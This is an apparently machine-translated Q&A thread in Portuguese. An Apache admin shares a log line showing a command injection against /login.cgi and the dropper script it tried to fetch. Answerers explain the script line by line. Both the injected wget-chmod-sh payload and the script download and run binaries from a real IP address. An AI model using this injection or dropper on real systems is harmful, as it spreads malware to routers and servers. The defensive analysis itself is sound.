Eu tenho notado nos meus servidores apache logs, as seguintes linhas estranhas ultimamente:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
Então, criei um filtro Fail2Ban personalizado e comecei a banir os IPs solicitando esses URLs /login.cgi.
Mas eu estava curioso para saber o que eles estavam tentando fazer, então selecionei o script que eles estão tentando executar e não consigo descobrir o que exatamente ele faz. Algo sobre remover pastas de arco em / var e / tmp?
Enfim, aqui está:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
linux
bash
apache-http-server
shell-script
ndom91
fonte
fonte
hxxp://80.211.173.159:80/$name
onde$name
está cada uma das arquiteturas da CPUbin_names
. Então, 7 de scripts de ataque será baixado e executadoRespostas:
Linha por linha:
Estabelece a
sh
casca, o que for, como a linha shebang.sh%20/tmp/ks
na solicitação substitui isso, portanto, essa linha é tratada como um comentário normal e ignorada.Declara um nome arbitrário, presumivelmente para evitar colisões com outros nomes de arquivos. Não sei por que eles não usariam apenas
mktemp
, mas talvez isso não esteja disponível em todas as plataformas.Enumera várias arquiteturas comuns da CPU.
O servidor que possui a exploração.
Tenta alterar o diretório para algum lugar em que seu servidor da web possa criar arquivos. Acredito que o SELinux ajudará nisso, aplicando regras muito mais rígidas sobre o que o servidor da Web pode fazer do que o sistema de arquivos por si só.
Para cada arquitetura de CPU…
Remove programas de exploração tentados anteriormente. Desnecessário por causa da próxima linha, portanto, pode ser ignorado.
Copia o atual executável do shell (
/bin/sh
). Pode ser ignorado por causa da linha após a próxima.Faz com que todos tenham acesso total ao novo arquivo. Isso deveria ter ocorrido após o
wget
comando, que é um sinal de um novato em script de shell ou uma técnica de desvio de direção.Esvazia o arquivo. Inútil por causa da próxima linha.
Substitui o arquivo pelo script de exploração desta arquitetura.
-O -> $u
poderia ter sido gravado-O - > $u
(o hífen indica que o download deve ser gravado na saída padrão) ao qual é equivalente-O $u
.Executa o script de exploração com a arquitetura como o primeiro argumento.
Termina o ciclo.
Parece que este é um script de tentativa de exploração trivial, tentando explorações conhecidas em várias plataformas de CPU. Não sei por que ele sobrescreve
$u
três vezes, mas essas operações podem simplesmente ser restos de uma iteração anterior do script. Presumivelmente, a versão anterior tinha as explorações codificadas em vez de atendidas dinamicamente - a primeira é mais fácil, mas quase garante que o script será menos eficaz ao longo do tempo à medida que os bugs são corrigidos.fonte
->
owget
comando? Por que não apenaswget ... -O $u
?- >
-O->filename
, ofilename
não aparece na saída do ps ax . Isso pode ser uma vantagem para tornar a depuração mais difícil.cp
fornece um arquivo executável. Possivelmente útil sechmod
falhar? Edit: dado que aparentemente isso tem como alvo roteadores, é bem possível quechmod
não exista.A
wget
é a principal linha perigosa.Ele
for name in $bin_names
está trabalhando na lista de plataformas e, para cada plataforma, está limpando um diretório temporário, copiando um shell e tornando-o acessível a todos.Em seguida, ele baixa um arquivo usando
wget
e depois o executa usando o programa shell que acabou de copiar.O script está basicamente tentando baixar uma série de executáveis ou scripts para todas as plataformas possíveis e esfregando-os no seu sistema na esperança de que possa comprometer ainda mais o seu sistema.
fonte